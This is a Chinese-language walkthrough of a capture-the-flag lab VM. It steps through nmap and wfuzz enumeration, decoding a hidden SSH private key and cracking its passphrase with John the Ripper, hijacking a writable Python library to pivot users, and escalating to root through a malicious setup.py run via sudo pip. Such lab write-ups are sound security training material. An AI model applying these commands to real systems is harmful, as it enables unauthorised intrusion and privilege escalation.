[[1.渗透测试流程]]
1.外网信息收集
1.1 靶机概况
1.1.1 靶机描述
### Description
Difficulty: Medium
This box was created to be medium, but it can be hard if you get lost.
CTF like box. You have to enumerate as much as you can.
For hints discord Server ( https://discord.gg/7asvAhCEhe )
1.1.2 靶机信息
注意:靶机的网络连接模式必须和kali一直,让靶机跟kali处于同一网段,这用kali才能扫出的主机。
2.主动信息收集
2.1 主机发现
- 使用 nmap 扫描同一个网段下存活的 IP
nmap 192.168.80.0/24
2.2 端口扫描
2.2.1 命令过程
` nmap -sV -p- 192.168.80.134 `
2.2.2 端口详情
页面信息搜集,到处点开看看
3.使用三种扫描工具进行网站漏洞扫描,最后形成报告
[[2.nessus扫描工具使用]]
[[2.awvs扫描工具使用]]
[[2.appscan扫描工具安装与使用]]
4. 详细信息扫描
4.1 使用 nmap 对靶机开放的端口进行更详细的扫描:
nmap -A -T4 -p- 192.168.131.136
用于扫描指定IP地址的网络端口。具体含义如下:
-A
:执行操作系统检测、版本检测、脚本扫描和跟踪路由信息。-T4
:设置扫描速度为Aggressive。-p-
:扫描所有65535个端口。192.168.131.136
:目标IP地址。
4.2 指纹收集(whatweb)
应用名、版本、前端框架、后端框架、服务端语言、服务器操作系统、网站容器、内容管理系统和数据库
[[7.whatweb扫描工具]]
whatweb -v 192.168.131.136
4.3敏感目录
1. dirb http://192.168.131.136
2. dirsearch -u 192.168.131.136 -e *
Dirsearch是一个用于探测WEB服务器下的敏感文件/目录的命令行工具。
[[6.dirsearch扫描工具]]
3.渗透过程
3.1 访问敏感目录
简单访问一下敏感目录:
1.选择扫描出来的目录,进行网页访问:
http://192.168.131.136/robots.txt
2.发现一个文件夹:myfiles
,进行网络访问,继续尝试!
192.168.80.134/~myfiles/
192.168.80.134/manual/
在旧版本的Apache服务器中,~ 指代用户主目录,我们可以尝试找到与此相似的路径,使用wfuzz
工具对其路径进行测试,发现~secret
目录
3.2 wfuzz进行深度扫描
[[8.wfuzz扫描工具]]
一款能模糊的地方都能模糊的测试工具——Wfuzz
wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/common.txt --hc 403,404 http://192.168.131.136/~FUZZ
-w:指定字典的路径
FUZZ:是指定要模糊测试的位置
在浏览器中打开该路径~secret/
发现一段文字
http://192.168.131.136/~secret/
上面称这是一个秘密目录,这里隐藏了他创建的ssh 私钥文件,并且得知用户名为icex64
。接下来继续在该路径下搜索文件,得到.mysecret.txt
文件
wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404,403 -u http://192.168.131.136/~secret/.FUZZ.txt
http://192.168.131.136/~secret/.mysecret.txt
浏览器打开发现是一串编码后的字符串
3.3 Base58 解码
分析一下,没有等号,说明不是base64,可以使用编码识别工具进行识别,发现其为Base58,使用在线工具进行解码得到私钥文件内容
在线base58编码
在本地创建文件key,将私钥保存到其中,然后使用john
工具破解密码
python2 /usr/share/john/ssh2john.py key > keyhash
john keyhash --wordlist=/usr/share/wordlists/fasttrack.txt
P@55w0rd!
- 如果不指定字典的话,会使用john系统自带的password.lst字典
- 用于破解SSH私钥密码的工具。它将SSH私钥文件转换为hash格式,然后可以使用John the Ripper等密码破解工具进行破解。
- Fast-Track.txt是Kali Linux中Metasploit Framework的一部分。它包含了一些用于自动化渗透测试的快速渗透测试脚本和模块。这些脚本和模块可以帮助可以快速进行渗透测试,发现系统中的漏洞和弱点。使用Fast-Track.txt可以加快渗透测试的速度,并提高测试的效率。
将key 文件权限设为600(否则无法连接),然后利用ssh连接icex64
用户
chmod 600 key
ssh icex64@192.168.131.136 -i key
id
4.水平越权
4.1 查看拥有的权限:
sudo -l
发现arsene可以无密码使用/home/arsene/heist.py,看一下这个脚本的内容
来到/home/arsene目录下,查看heist.py文件权限,没有修改权限,查看内容,发现其调用了webbrower.open()
我们通过find
找到该文件的位置,查看其权限,发现可以写入内容
find /usr/ -name '*webbrowser*'
ls -l /usr/lib/python3.9/webbrowser.py
4.2查看脚本
vi /usr/lib/python3.9/webbrowser.py
我们可以直接编辑该文件,写入调用shell脚本(或者反弹shell脚本)
分析脚本:
- 首先我们可以无密码使用arsene的这个脚本,脚本的第一行是导入os模块,那么我们是否可以使用os.system打开一个arsene的shell呢?
理论存在,实践开始:
- 使用vi命令在脚本里面增加一行:
os.system(“/bin/bash”)
保存退出,执行脚本,获得arsene用户shell
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
4.3权限提升
os.system(“/bin/bash”)
查看权限:
拿到arsene用户权限后,查看sudo -l
,
sudo -l
发现可以使用root的身份免密执行 /usr/bin/pip
我们可以在当前路径下新创建一个目录并打开在里面创建setup.py
文件,里面写入我们想运行的python脚本,如反弹shell,然后利用pip install
以root权限执行。
(linux suid提权:修改系统文件,如计划任务文件、用户文件、密码文件、sudoers文件等)
mkdir tmp
cd tmp
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > setup.py
sudo pip install .
4.4 flag
来到root目录下,打开root.txt拿到flag